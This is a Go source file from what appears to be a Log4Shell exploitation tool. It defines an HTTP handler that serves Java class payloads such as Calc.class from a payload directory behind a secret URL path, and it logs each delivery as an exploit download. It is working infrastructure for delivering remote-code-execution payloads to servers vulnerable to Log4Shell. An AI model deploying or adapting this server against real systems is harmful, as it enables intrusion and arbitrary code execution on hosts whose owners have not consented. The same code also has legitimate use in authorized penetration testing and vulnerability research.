-
Notifications
You must be signed in to change notification settings - Fork 19
/
http.go
63 lines (54 loc) · 1.42 KB
/
http.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package log4shell
import (
"log"
"net/http"
"os"
"path/filepath"
"strings"
)
type httpHandler struct {
logger *log.Logger
payloadDir string
secret string
}
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
h.logger.Printf("[info] http client %s request %s", r.RemoteAddr, r.RequestURI)
var success bool
defer func() {
if !success {
w.WriteHeader(http.StatusNotFound)
}
}()
// check url structure(/secret/Calc.class)
sections := strings.SplitN(r.RequestURI, "/", 3)
if len(sections) < 3 {
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
return
}
// skip first section and compare secret
if sections[0] != "" || sections[1] != h.secret {
h.logger.Println("[warning]", "invalid secret:", sections[1])
return
}
// prevent arbitrary file read
path := sections[2]
if strings.Contains(path, "../") || strings.Contains(path, "/..") {
h.logger.Println("[warning]", "found slash in url:", r.RequestURI)
return
}
path = filepath.Join(h.payloadDir, path)
// read file and send to client
class, err := os.ReadFile(path)
if err != nil {
h.logger.Println("[error]", "failed to read file:", err)
return
}
success = true
w.WriteHeader(http.StatusOK)
_, err = w.Write(class)
if err != nil {
h.logger.Println("[error]", "failed to write class file:", err)
return
}
h.logger.Printf("[exploit] http client %s download %s", r.RemoteAddr, path)
}